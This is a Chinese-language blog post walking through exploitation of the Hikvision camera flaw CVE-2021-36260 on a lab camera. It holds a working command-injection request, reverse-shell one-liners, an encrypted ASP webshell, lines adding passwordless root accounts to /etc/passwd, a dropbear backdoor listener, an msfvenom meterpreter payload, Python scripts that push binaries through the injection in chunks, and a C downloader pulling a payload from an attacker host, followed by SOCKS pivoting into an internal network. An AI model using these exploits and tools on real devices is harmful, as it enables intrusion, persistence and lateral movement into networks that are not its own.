当前位置：首页 > 信息安全 > 正文

利用海康CVE-2021-36260漏洞远程攻击定制版摄像头

cmd8.com
信息安全
2024-06-04
1290

PUT /SDK/webLanguage HTTP/1.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: x.x.x.x
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US,en;q=0.9,sv;q=0.8
Content-Length: 71

<?xml version="1.0" encoding="UTF-8"?><language>$(ls -l>webLib/c)</language>

上面的命令将 ls -al 的执行结果写入到了当前目录下的 webLib/c 文件中，接下来直接访问根目录的 /c 就可以了

看分析文章中写过，也可以将 $ 换成 #，实际测试一下（仅在我买的摄像头下测试），并不可行

URL编码后

Railgun 工具中正好集成了这个漏洞，直接用工具执行，免得每次要发两次请求查看

https://github.com/lz520520/railgun

0x02 建立稳定控制

正常来说到这里就很简单了，直接 curl 或 wget 一个控制程序就可以上线了

1. 远程下载

curl 或者 wget

可以看到并没有 payload.elf

下载服务器这边也没有发现访问情况

还是没有访问

难道没有这两个命令吗？使用 which 和 whereis 查找一下，先拿 pwd 程序测试一下

命令执行并没有结果返回，这里有很多可能，例如系统中的 pwd 仅是 shell 内置命令，没有外部文件，这个可以参考之前的文章《LD_PRELOAD 劫持 PWD 为什么失败了 | Linux 后门系列》

https://mp.weixin.qq.com/s/InMQaKOwns2mEIp5yF8dDw

还有可能是 whereis 和 which 命令本身就不存在

这个验证起来简单，找一个在环境变量 PATH 中的，一定存在的程序进行查找，对比结果

可以看到我们还是 root 用户权限，PATH 结果如下

PATH=/sbin:/usr/sbin:/bin:/usr/bin

可以看到，此设备的 shell 环境是由 busybox 提供的，那我们就以 busybox 程序为例

看来没有这两个程序，这样查看命令和工具是否存在就只能通过环境变量 PATH 和 busybox 内置列表了

可以看到，文件下载相关的命令 ftp、scp、rsync 等并不支持

[, [[, ash, awk, bash, cat, chmod, cp, date, df, dmesg, du, echo, env, false, fdisk, free, fsync, gunzip, gzip, halt, hwclock, ifconfig, init, insmod, iostat, kill, linuxrc, ln, login, ls, lsmod, lzcat, lzma, mdev, mkdir, mkdosfs, mkfs.vfat, mknod, modprobe, mount, mpstat, mv, netstat, ping, ping6, poweroff, ps, pwd, reboot, rm, rmmod, route, sed, sh, sleep, stty, sync, tail, tar, test, top, touch, true, umount, unlzma, zcat

和外部网络搭边儿的也就是 ping 相关的命令

2. 反弹 Shell

bash
nc、telnet
编程语言环境

bash -i >& /dev/tcp/192.168.1.125/4444 0>&1

难道是不出网？测试一下 ping

ping -t 1 192.168.1.125

失败，看来似乎是不支持

nc -nv 192.168.1.125 4444

失败，确实也是没看到 nc 或者 netcat 命令，去环境变量的执行路径里找一下

经过测试，命令执行环境对 ; 和 | 支持不是很好，而且没有 grep ,只能 ls -al 取结果我们这边分析了

没有找到 nc 和 netcat 之类的，可执行文件中其实主要就是/bin下的 busybox 提供的命令以及 da_info 提供的，显然后面这个大概率是海康威视自己开发的，这些命令都和实际产品功能紧密相关

可以看到这是个动态链接的 ELF 文件，还是 ARM 架构的，还去除了符号信息

可以通过命令枚举或者ELF逆向分析查看这其中会不会有可以远程下载或者远程控制的方法，但这个 da_info 可能仅是海康的设备上的，不是通用的方法，我们不对这个进行深入研究，仅仅是通过执行该程序看看 banner

没有找到可以直接利用的

编程语言环境也没有发现

3. Webshell

这本身是个 web 系统啊，还是 asp 的，啊？Linux 上的 asp 还真是少见，我直接写一个 asp 的木马进去不就完了吗？

先找到 web 路径，从漏洞利用 PoC 可以知道，./webLib 对应的应该就是根目录

直接访问 index.asp 和 dispatch.asp 会跳转到登录口 /doc/page/login.asp ，那就先找一下登录页面相关的路径吧，这样可能更容易访问一些，绝对路径如下

/home/webLib/doc/page

通过 echo 写入 Webshell

<%
Response.CharSet = "UTF-8" 
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>

这里用 Railgun 就不是很方便了，用 Burpsuite 吧

这里分两次写是因为这个漏洞可执行的命令长度有限制，而且还不太统一

访问 webshell

看起来似乎没有解析呀，冰蝎连接一下，有枣没枣打三竿

不出所料，连接不上

为什么会不解析呢？看一下其他的 asp 文件，难道有什么特殊的吗

好像没有什么 asp 的代码呀

看来这并不是什么 asp，而可能是一种自定义解析的格式

系统中没有 lsof ，所以用 netstat 看看到底是哪个程序起的 80 端口

可以看到，是由一个叫做 davinci 的程序，在网上也没有找到相关资料，好像是和一个剪辑软件重名了

于是尝试找到这个程序

ls -al /proc/331/exe

就在当前目录下，但是被删除了，根据《Linux 应急响应手册》小技巧 -> 0x08 数据恢复，尝试恢复该程序

 cp /proc/331/exe ./web

利用海康CVE-2021-36260漏洞远程攻击定制版摄像头第42张

但是没有发现可以直接利用的功能 (原作者提出修改的)

翻文件的过程中发现以下文件

/home/davinci.lzma    // 压缩后的程序， lzma -d davinci.lzma 可以解压
/dav/davinci_bak

可以考虑对程序进行逆向分析，直接执行均未发现可利用的点

4. SSH

上面首先是尝试了反向控制相关的远程下载、反弹shell，也尝试了正向控制中的 Webshell，都没有成功，由于是测试环境，我是知道它是出网的，所以没有测试出网情况。

没有 nc、telnet 之类的工具，就只能使用现有的服务来监听端口了，ssh 服务是一个不错的选择，这也是 PoC 中利用的方式

海康威视的这个摄像头的 ssh 是通过 dropbear 起的，而不是 OpenSSH

https://matt.ucc.asn.au/dropbear/dropbear.html

这导致之前启动 OpenSSH 的命令怎么都没效果

当前 ssh 似乎是没有开，但是从 netstat 的命令执行结果上看是开了

PoC 中使用 dropbear -R -B -p 1337 在 1337 端口设置监听，还新建了一个不需要密码的账户

这个摄像头的操作系统是通过 /etc/passwd 管理账户及密码的，我们既然是 root 权限，可以直接添加账户进去了

1) 添加账户

echo "P::0:0:W:/:/bin/sh" >> /etc/passwd

这种涉及到重定向的操作就不要在 Railgun 中执行了，可能是因为要显示结果，所以默认就带了输出重定向，和我们的重定向互相冲突，用 Burpsuite 就好了

2) 创建新的 SSH 监听

dropbear -R -B -p 1337

这条命令也在 Burpsuite 中执行，不知道为什么 Railgun 中执行会没有效果

-R：根据需要创建主机密钥
-B：允许空密码登录
-p 1337：该选项表示启动 Dropb

3) SSH 连接测试

成功登录 SSH

喜欢使用 FinalShell 的朋友需要注意，FinalShell 目前还不支持没有密码的 SSH 连接

4) 添加一个有密码的账户

不写公钥，写账户是因为写账户比较简单易操作，有密码和无密码其实差别就在于 /etc/passwd 的第二位

我们可以按照当前操作系统的规则生成一个密码，以创建 user/userpass 为例

$1$yi$edpzE7hM/R4nw3PnFuiVL/

admin 的hash含义是密码经过了 md5 加密并且盐(salt) 值为 yi

在我们自己的 Ubuntu 上安装 whois ，并通过 mkpasswd 生成 Hash

sudo apt install whois
mkpasswd -m md5 --salt=SaltValue userpass

mkpasswd 要求盐值不少于 8 为，我们就以 12345678 作为盐值

$1$12345678$sEgioVKWacw6d9iYXc1P4/

拼接后完整如下

user:$1$12345678$sEgioVKWacw6d9iYXc1P4/:0:0:W:/:/bin/sh

直接通过 SSH，使用 cat将内容写入到 /etc/passwd ,千万记得要用追加写 >>,而且 $ 需要转义 \$

这 ssh 还设置了一些安全策略，错误的密码登录后（例如通过 FinalShell 登录尝试），会导致IP封禁

使用 user/userpass 通过 FinalShell 登录

至此，已经成功获取了 ssh shell，上面的部分内容都是铺垫，接下来就是今天要详细探讨的内容

0x03 突破受限的shell

目前虽然获取到了 SSH 的权限，但是无法上传文件，建立代理

1. SSH 传输文件

cat payload.elf | ssh -v -p 1337 P@192.168.1.64 'cat > payload.elf'

很可惜，失败了

2. SFTP/SCP/FTP

既然 FinalShell 都可以连接上了，是不是可以直接利用其传文件了

FinalShell 默认会使用 SFTP 或 SCP ，FinalShell 报错估计这几个协议肯定是都不行，但还是要测试一下

1) SCP

scp -v -P 1337 payload.elf P@192.168.1.64:/home/payload.elf

失败，查询资料后发现默认 Dropbear 是不支持 SCP 的

2) SFTP

sftp -P 1337 user@192.168.1.64

失败，查询资料后发现默认 Dropbear 不支持 SFTP

3) FTP

并没有 21 等端口开放

3. Bash 反弹shell

之前失败了，由于之前显示不全，不知道失败的原因，现在可以重新试试

看来 busybox 把这个功能去掉了，包括UDP

4. 通过 Web 后台尝试上传

CVE-2021-36260 的作者 Watchful_IP 在漏洞描述过程中介绍了可以在获取 SSH shell 后通过禁用 web 认证的方式使用任意密码登录

https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

但是作者没有详细介绍如何实现的，下面是 Github 上安全研究人员关于这件事的讨论，简单来说就是修改其中的数据库，添加一个账户，之后重启，但是对我们来说目前还无法上传工具呢，更别说修改 Sqlite 数据库了

https://github.com/jorhelp/Ingram/discussions/9

5. 利用 SSH 隧道

既然 SSH 已经建立好了，可以直接利用其隧道功能，进而对内网进行攻击呀

这里就不用命令行了，有一个工具可以很直观的配置隧道 —— MobaXterm

https://mobaxterm.mobatek.net/

这就很直观了，我们选择动态端口转发，按照提示填写本地代理监听端口以及作为中转的SSH服务器信息

点击开始按钮

通过 Proxifier 配置代理，测试是否成功

https://www.proxifier.com/

这里将 127.0.0.1 这种本地流量都走代理，浏览器访问 127.0.0.1

代理成功，但是这还不是很明显，建立代理的这台 Windows 网段为 192.168.31.x ，我们在 192.168.1.x 段找一台服务器，禁止来自 192.168.31.x 以及路由 192.168.1.97 的连接，这样就可以测试代理是否成功

模拟隔离主机: 192.168.1.126

规则如下：

允许 192.168.1.0/24 访问 80
禁止 192.168.1.97（路由器）访问 80
禁止 192.168.31.0/24 (攻击机) 访问 80
禁止 192.168.1.125 (VPS) 访问 80

安装 apache2

sudo apt install apache2

攻击机关闭代理后可以直接访问其 80 端口

添加防火墙

通过自带的 ufw 来完成

# 启用防火墙
sudo ufw enable

# 添加拒绝访问 192.168.1.97 的规则
sudo ufw deny from 192.168.1.97

# 添加拒绝访问 192.168.31.0/24 网络的规则
sudo ufw deny from 192.168.31.0/24

# 添加拒绝访问 192.168.1.125 的规则
sudo ufw deny from 192.168.1.125

# 添加允许访问 80 端口的规则
sudo ufw allow from 192.168.1.0/24 to any port 80

攻击机关闭代理后访问 80 端口

使用海康威视摄像头作为代理，再次访问

成功建立了一条通向内网的代理

6. 通过 echo 写文件

一般到上一步代理搭建完成，就继续进行横向渗透了，但是并不是所有的 RCE 都能有机会建立 ssh 隧道，我们要找到一条更加通用的方法，最通用的方法应该就是 echo 写文件了

如果是文本文件，我们直接通过 cat 就可以写进去，但是二进制可执行文件用 cat 就不是很好写了，上面我们也尝试了通过管道 + cat ，也失败了

如果想将一个二进制可执行文件写入这个过程用 PoC 来完成，需要让二进制可执行文件以可读字符的形式进行编码，对于常规系统，经常将二进制可执行文件进行 base64 编码，之后传递，但是在受限的 shell 中，并没有提供 base64 解码工具，所以这次得用 16 进制格式进行编码，编码后的内容通过 echo -n -e 写入到文件中

-n 禁止添加换行符
-e 启用转义字符的解析

这两个选项有效地将 16进制表示的二进制可执行文件一点一点写入到文件中

所以这里涉及两个步骤

将二进制可执行文件转化为 \x00 这种格式
循环将文件一点一点写进去

这里直接用一个 Python 脚本来完成

import requests
import sys
import urllib.parse

def read_string(string, chunk_size=2000):
    start = 0
    while start < len(string):
        end = start + chunk_size
        chunk = string[start:end]
        yield chunk
        start = end

# 构建请求头部
headers = {
    'User-Agent': 'python-requests/2.22.0',
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Connection': 'close',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}

def sendPayload(target, poc_data):
    # 设置要发送的数据
    data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" >> webLib/payload.elf)</language>'
    url = urllib.parse.urljoin(target, 'SDK/webLanguage')

    # 发送请求
    response = requests.put(url, headers=headers, data=data)
    
    # 检查响应状态码等，确保请求成功
    if response.status_code == 500:
        return True
    return False

if len(sys.argv) < 3:
    print("Usage: python script.py <target_address> <file_path>")
    sys.exit(1)

target = sys.argv[1]
file_path = sys.argv[2]

with open(file_path, 'rb') as file:
    elf_data = file.read()

hex_string = ''.join(['\\x{:02x}'.format(byte) for byte in elf_data])

hex_string_len = len(hex_string)
print(hex_string_len)

# 动态设置 Host 字段
headers['Host'] = urllib.parse.urlparse(target).netloc

i = 0
for chunk in read_string(hex_string, chunk_size=120):
    result = sendPayload(target, chunk)
    if not result:
        print('send again')
        result = sendPayload(target, chunk)
    if result:
        print(str(i) + '/' + str(hex_string_len))
        i += 120
    else:
        print('Request failed.')
        sys.exit(1)

print('Over')

1) 生成 Payload 文件

直接使用 MSF 进行生成，我们需要知道 CPU架构、32 还是 64 位处理器、大端还是小端

类似 arch、lscpu 这些命令在当前环境中都没有，可以通过下面的命令进行查看

cat /proc/cpuinfo

可以看到 CPU 为 ARM926EJ-S rev 5 (v5l) ，经过查询是一款 ARM 架构，32 位的CPU

大小端这个事我们可以从服务器上下载几个可执行文件，看看它们是大端还是小端的

以 /bin/da_info 和 /bin/busybox 为例

通过 Ghidra 进行分析

https://github.com/NationalSecurityAgency/ghidra

直接将文件拖进 Ghidra 就可以了，此步骤建议在虚拟机中进行

可以看到，显示的都是 LE ，小端

接下来通过 msfvenom 生成 payload

msfvenom -p linux/armle/meterpreter/reverse_tcp -a armle RHOST=192.168.1.125 RPORT=443 --platform linux -f elf -o payload.elf

只有 344 个字节大小

2) 通过echo写入到服务器

通过之前的部分我们可以知道，攻击数据包是有大小限制的，具体限制是多少还不是固定的，每种设备不一样

我们可以通过下面的脚本进行粗略测试

import requests
import sys
import urllib.parse

# 构建请求头部
headers = {
    'User-Agent': 'python-requests/2.22.0',
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Connection': 'close',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}

def sendPayload(target, poc_data):
    # 设置要发送的数据
    data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" > webLib/payload.txt)</language>'
    url = urllib.parse.urljoin(target, 'SDK/webLanguage')

    # 发送请求
    response = requests.put(url, headers=headers, data=data)
    
    # 检查响应状态码等，确保请求成功
    if response.status_code == 500:
        return True
    return False


def getPayloadLength(target):
    url = urllib.parse.urljoin(target, 'payload.txt')
    response = requests.get(url, headers=headers)
    p_length = len(response.text)
    return p_length


def testPayloadLength(target):
    # 动态设置 Host 字段
    headers['Host'] = urllib.parse.urlparse(target).netloc

    # 测试数据包长度限制
    length = 4
    while True:
        chunk = 'A' * length
        result = sendPayload(target, chunk)
        p_length = getPayloadLength(target)

        if result and length > p_length:
            print(f"Payload length: {length - 4}")
            break
        length += 4

if len(sys.argv) < 2:
    print("Usage: python script.py <target_address>")
    sys.exit(1)

target = sys.argv[1]

testPayloadLength(target)

如果你自己修改了脚本，建议这个数字再小一点，减少 4 的整数倍，这里就以 180 为例，修改echo写入脚本

import requests
import sys
import urllib.parse

def read_string(string, chunk_size=100):
    start = 0
    while start < len(string):
        end = start + chunk_size
        chunk = string[start:end]
        yield chunk
        start = end

# 构建请求头部
headers = {
    'User-Agent': 'python-requests/2.22.0',
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Connection': 'close',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}

def sendPayload(target, poc_data):
    # 设置要发送的数据
    data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" >> webLib/payload.elf)</language>'
    url = urllib.parse.urljoin(target, 'SDK/webLanguage')

    # 发送请求
    response = requests.put(url, headers=headers, data=data)
    
    # 检查响应状态码等，确保请求成功
    if response.status_code == 500:
        return True
    return False

if len(sys.argv) < 3:
    print("Usage: python script.py <target_address> <file_path>")
    sys.exit(1)

target = sys.argv[1]
file_path = sys.argv[2]

with open(file_path, 'rb') as file:
    elf_data = file.read()

hex_string = ''.join(['\\x{:02x}'.format(byte) for byte in elf_data])

hex_string_len = len(hex_string)
print(hex_string_len)

# 动态设置 Host 字段
headers['Host'] = urllib.parse.urlparse(target).netloc

i = 0
for chunk in read_string(hex_string, chunk_size=180):
    result = sendPayload(target, chunk)
    if not result:
        print('send again')
        result = sendPayload(target, chunk)
    if result:
        print(str(i) + '/' + str(hex_string_len))
        i += 180
    else:
        print('Request failed.')
        sys.exit(1)

print('Over')

3) MSF 监听端口

4) 添加权限并执行 payload

成功反弹shell 并测试上传文件

成功上传文件

5) 建立代理

https://github.com/fatedier/frp
https://github.com/fatedier/frp/releases/download/v0.55.1/frp_0.55.1_linux_arm.tar.gz

下载 arm 32位版本的

在尝试通过 meterpreter 进行上传 frp 时，结果传到一半，meterpreter 就断了，之后就出现了

看来是重启了，之前所有的操作没了，这用来做痕迹清除可太方便了

咱就不苦中作乐了，现在有两种思路

meterpreter 继续上传
直接将 frp 等 echo 进去

可以先 echo 一个最简单的下载器进去
下载器可以不是通用下载，只是从某个地址下载某个文件，可能体积更小

选择哪个方法呢？在我看来 meterpreter 的方法更优，但是我们两个都实现一下，这一部分先实现 meterpreter

再次利用脚本上传、建立监听、赋予权限并执行

上传 frp

好吧，看来这个海康威视设备的性能确实不支持我们直接传递 11 M的程序

上传 ew

ew 小多了，只有 195K

创建代理

https://github.com/idlefire/ew

攻击机VPS (192.168.1.125) 模拟公网IP

./ew -s rcsocks -l 1080 -e 8888

建立代理监听 1080 端口，并将数据通过 8888 端口传递出去

受害摄像头(192.168.1.64)

./ew -s rssocks -d 192.168.1.125 -e 8888

攻击机物理机（192.168.31.x）

在上一步我们做了隔离，192.168.1.126 只允许同网段非 192.168.1.97 访问

使用 socks5://192.168.1.125:1080 访问 http://192.168.1.126

尝试用代理访问

成功建立代理

0x04 利用下载器

这部分坑特别多，我耗费了几天才找到解决办法，接下来将展示踩坑过程，我会尽量简洁，忽略小坑

通过上面的步骤，我们已经可以完成实际控制，但是直接写入木马或者代理对部分设备本身来说可能有不小的压力，尤其是这种嵌入式设备，我这次测试就被迫重启了好多好多次，每次重启设备上的木马等痕迹就完全清空了

想象一下我们先传输了 MSF 木马，之后利用 meterpreter 传输了代理或者攻击程序，利用了一小会儿设备崩了，重启，一切又回到原样了，于是我们就进入了循环，但问题是，这些循环是人来驱动的，并不工程化，这不是实际攻击实施过程中追求的

我们更希望这部分内容是工程化的，而且由于指令集的不同，各种木马程序和代理程序是否能够兼容也是一个巨大的问题

这节我们要介绍一些恶意攻击者常用的思路，也就是先传输小的下载器进去，之后利用下载器下载真正的payload，当然了，其实写入 meterpreter 的本质也是一样的

可能有小伙伴会说，这不难呀，有必要单独说吗？

这里单独拿出来写是因为涉及到下载器编写、跨平台编译等，我们先看一下成型的下载器

wget 和 curl 由于做了很多功能，所以比较大，还不如直接写入一个 ew 了

1. 编写下载器

下面我们来写一个最小的下载器，功能就下载 http://192.168.1.125/a

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/stat.h>
#include <sys/types.h>

#define BUFFER_SIZE 4096

int main(void) {
    const char *host = "192.168.1.125";
    const char *path = "/a";
    const char *output_file = "payload";
    const int port = 80;

    struct sockaddr_in server_address;
    int sockfd, filefd;
    char request[256];
    char buffer[BUFFER_SIZE];
    ssize_t bytes_read;
    int start_writing = 0;  // Flag to start writing to file

    // Create socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        fprintf(stderr, "Error creating socket\n");
        return 1;
    }

    // Set server address
    memset(&server_address, 0, sizeof(server_address));
    server_address.sin_family = AF_INET;
    server_address.sin_port = htons(port);
    if (inet_pton(AF_INET, host, &(server_address.sin_addr)) <= 0) {
        fprintf(stderr, "Invalid address or address not supported\n");
        close(sockfd);
        return 1;
    }

    // Connect to server
    if (connect(sockfd, (struct sockaddr *)&server_address, sizeof(server_address)) < 0) {
        fprintf(stderr, "Error connecting to server\n");
        close(sockfd);
        return 1;
    }

    // Send HTTP GET request
    snprintf(request, sizeof(request), "GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", path, host);
    if (write(sockfd, request, strlen(request)) < 0) {
        fprintf(stderr, "Error sending request\n");
        close(sockfd);
        return 1;
    }

    // Open output file
    filefd = open(output_file, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
    if (filefd < 0) {
        fprintf(stderr, "Error opening file for writing\n");
        close(sockfd);
        return 1;
    }

    // Read and write response data
    while ((bytes_read = read(sockfd, buffer, BUFFER_SIZE)) > 0) {
        // Check if the response headers have ended
        if (!start_writing) {
            char *body_start = strstr(buffer, "\r\n\r\n");
            if (body_start != NULL) {
                start_writing = 1;
                bytes_read -= (body_start - buffer + 4);
                memcpy(buffer, body_start + 4, bytes_read);
            } else {
                continue;
            }
        }

        if (write(filefd, buffer, bytes_read) < 0) {
            fprintf(stderr, "Error writing to file\n");
            close(filefd);
            close(sockfd);
            return 1;
        }
    }

    // Check for read error
    if (bytes_read < 0) {
        fprintf(stderr, "Error reading response\n");
        close(filefd);
        close(sockfd);
        return 1;
    }

    // Close file and socket
    close(filefd);
    close(sockfd);

    return 0;
}

如果再追求小，可以将部分错误处理去掉，同时将输出到文件也去掉，直接输出到标准输出，之后执行的时候通过重定向到文件来完成文件保存

2. 尝试编译程序

大部分朋友的设备都是 x86 的，我们需要在 x86 的 CPU 上编译 arm 架构的程序

本次操作环境为 Ubuntu Server 22.04 x86_64

1) gcc

系统上直接 apt install gcc 安装的 gcc 显然是不能用于编译了，得安装目标平台专用的gcc，这个时候我才发现，单arm 相关 gcc 来说至少有以下几种

arm-none-eabi-gcc
aarch64-linux-gnu-gcc
arm-linux-gnueabi-gcc
arm-linux-gnueabihf-gcc

这个时候发现 ARM 架构版本之类的挺复杂，gcc 分类方法就有以下几种

Arm架构上的不同版本的GCC（GNU Compiler Collection）之间的主要区别体现在以下几个方面：

目标架构支持：

GCC的不同版本可能支持不同的Arm架构，比如ARMv5TE、ARMv7-A、ARMv8-A（AArch32/AArch64）等。每个版本可能在对特定架构特性的支持程度上有差异，例如浮点运算单元（FPU）、Thumb模式、NEON SIMD扩展等。

ABI兼容性：

ABI（Application Binary Interface）决定了二进制文件如何与操作系统交互。不同的GCC版本可能遵循不同的ABI规范，如EABI（Embedded ABI）、Hard/Soft Float ABI等。这些规范会影响到函数调用约定、数据类型布局等。

C++标准库支持：

不同版本的GCC支持的C++标准也会有所不同，比如C++98、C++11、C++14、C++17等。

优化程度和bug修复：

新版本的GCC通常包含对编译器优化算法的改进和bug修复，这会影响编译出的程序性能和稳定性。

工具链完整性：

不同版本的GCC交叉编译工具链可能包含不同的组件集，如binutils（as、ld）、glibc/musl/uClibc等不同C库的适配。

安全特性：

新版本的GCC可能增加了对特定安全特性的支持，如stack protector、address sanitizer、undefined behavior sanitizer等。

我们的 CPU 信息

Processor       : ARM926EJ-S rev 5 (v5l)
BogoMIPS        : 218.72
Features        : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 5

Hardware        : r2
Revision        : 0000
Serial          : 0000000000000000

我们选择 arm-linux-gnueabi-gcc 这个 gcc

sudo apt update
sudo apt install gcc-arm-linux-gnueabi

2) 尝试编译并上传执行

先以最简单的 hello wrold 为例，测试没问题后再编译我们的下载器

#include <stdio.h>

int main() {
    printf("Hello, World!\n");
    return 0;
}

执行结果显示 -sh: ./payload.elf: not found ，这什么情况？

3. 寻找问题原因

1) 检查 hash

难道是传输过程中文件不完整？

不是这个原因，这说明是文件本身有问题

2) 增加编译参数

可能是编译过程中参数有问题，经过查询，发现可以设置 ARM 的架构以及CPU参数

arm-linux-gnueabi-gcc -march=armv5tej -mtune=arm926ej-s hello.c

还是这个结果

3) 使用汇编语言测试

用汇编语言写 hello wrold ，之后用我们选择的编译器进行编译、连接，看看是否也会这样

    .data
msg:
    .ascii "Hello, world!\n\0"

    .text
    .global _start

_start:
    mov r0, #1      @ stdout file descriptor
    ldr r1, =msg    @ address of the message
    ldr r2, =13     @ length of the string (including newline)
    mov r7, #4      @ syscall number for write()

syscall_write:
    svc #0          @ make system call

    mov r7, #1      @ syscall number for exit()
    mov r0, #0      @ exit code

syscall_exit:
    svc #0          @ make system call to exit

编译、链接

arm-linux-gnueabi-as hello_world.s -o hello_world.o   # 编译为目标文件
arm-linux-gnueabi-ld -o hello_world hello_world.o   # 链接目标文件为可执行文件

可以看到汇编程序可以成功执行，那就说明编译器没有选择错，代码肯定也没有问题，那就是 libc 出了问题

原本我想用汇编写一个下载器，但是我不会 ARM 汇编，遂作罢

4) 检查动态链接器

难道说目标系统上不存在动态链接器吗？

目标环境中检查动态链接器

果然，目标系统上的动态链接器是 uClibc，我们尝试新建一个文件，命名为 /lib/ld-linux.so.3 ，之后看看我们的程序在这前后执行有没有什么不同

问题原因找到了，看来是 libc 的原因，这样我们就有两条路可以走了

静态编译
编译 uClibc 为动态链接器的程序

5) 静态编译

这个简单，只需要加一个 -static 参数就可以了

arm-linux-gnueabi-gcc -march=armv5tej -mtune=arm926ej-s -static hello.c

静态编译后大小有 567K ，与 ew 差不多，567K 通过 echo 写入需要非常长的时间，最关键的是，传输到不到一半就会导致摄像头崩溃，重启，之后一切都重来，但是我们可以通过在每次发包之间加入时间延时来解决

这里我就直接用 MSF 上传上去了

好家伙，没有活路了呀，静态编译都显示内核太老了，难道我还再整个低版本内核的系统进行编译吗？

6) 编译 uClibc

还是编译 uClibc 吧，之后动态链接

https://uclibc.org/

我们也选择 0.9.32.1 版本

# 下载 uClibc
wget https://uclibc.org/downloads/uClibc-0.9.32.1.tar.xz

# 解压
tar -xf uClibc-0.9.32.1.tar.xz

# 配置
make menuconfig

Target Architecture 选择 arm

Target Architecture Features and Options
  Target ABI 									-> EABI
  Target Processor Type 			-> Arm 926T
  Target Processor Endianness -> Little Endian

保存

编译

make
sudo make install

报错了，难道 gcc 不支持 -mlittle-endian 参数吗，测试一下

arm-linux-gnueabi-gcc 没问题呀，难道编译用的是系统的 gcc 吗

果然，我们既然是给 ARM 平台使用的，那就需要使用 arm-linux-gnueabi-gcc 进行编译

再次 make menuconfig

 uClibc development/debugging options
 		Cross-compiling toolchain prefix -> arm-linux-gnueabi-

再次

make 
make install

再次报错

看这样我们需要配置 kernel headers

Target Architecture Features and Options
		Linux kernel header location

再次 make

又有新的报错，到这里查询网上资料我也不知道该如何解决了

看看 uClibc 官网，发现了这个

https://uclibc.org/toolchains.html

这里面说要编译 GNU binutils、GCC、uClibc 形成一个工具链，在后面我们发现了一个好东西 —— buildroot，网上查询之后，类似的工具还不少

https://buildroot.org/

7) buildroot

https://buildroot.org/

安装过程参考
https://www.zhiwanyuzhou.com/index.php/2022/07/17/%E4%BD%BF%E7%94%A8buildroot%E5%88%B6%E4%BD%9C%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91%E5%B7%A5%E5%85%B7%E9%93%BE/
官方手册
http://nightly.buildroot.org/manual.pdf

# 安装部分依赖软件
sudo apt update
sudo apt install gcc make libncurses5-dev
sudo apt install qemu-user

# 下载
wget https://buildroot.org/downloads/buildroot-2024.02.tar.gz
# 解压
tar -zxvf buildroot-2024.02.tar.gz

cd buildroot-2024.02/
# 编译配置
make menuconfig

熟悉的页面又回来了

Target options 
		Target Architecture 				-> ARM (little endian)
		Target Architecture Variant -> arm926t
这部分剩下不需要动

Toolchain
		C library 										-> uClibc-ng
		Kernel Headers 								-> Manually specified Linux version
		linux version  								-> 3.0.8
		Custom kernel headers series 	-> 3.0.x
		Enable C++ support 						-> *

这里面的内核版本 3.0.8 是通过在目标系统执行 cat /proc/version 得到的

保存

# 编译
make toolchain -j4 V=0

这部分如果报错都好解决，例如安装 g++

这部分非常非常长，就连 uClibc 官网都建议我们去吃一个美味健康的三明治，喝一杯汽水，给朋友打电话，玩玩电子游戏，然后找点事情做，我就去吃个饭吧

在这个过程中会下载大量的文件，如果空间不够会导致失败，由于我之前测试已经在其他目录编译过了，这次出现了编译失败，删除文件腾出空间后编译成功，总大小如下

可以在编译所在的目录的相对目录找到编译好的gcc

./output/host/bin/

将该文件夹添加到环境变量中

echo "export PATH=\$PATH:$(pwd)" >> ~/.bashrc
source ~/.bashrc

测试一下

arm-linux-gcc --version

成功添加至环境变量，可以在任意目录直接调用了

4. 再次尝试编译程序

1) 静态编译

arm-linux-gcc -static hello.c

使用 qemu 模拟测试执行成功了，体积有 113K 大小，通过 meterpreter 上传到目标系统上去

成功执行！！！但是 113K 这个大小还是有点大了，尝试编译动态链接的程序

2) 编译动态链接程序

arm-linux-gcc hello.c

大小 7.3K ，看看是否可以运行，这么点大小这次直接用 PoC 上传

成功啦！！！

3) 编译下载器

去除符号信息后 5.2K

5. 尝试远程下载代理程序

这次争取不用 SSH ，完全用 RCE 漏洞

修改 frpc.toml

serverAddr = "192.168.1.125"
serverPort = 7000

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 1080

[proxies.plugin]
type = "socks5"

将 frpc 和 frpc.toml 打包，重命名为 a

配置 FRP 监听

bindPort = 7000

通过 PoC 上传下载器，并搭建 HTTP 服务器

等一会儿，等它传输完

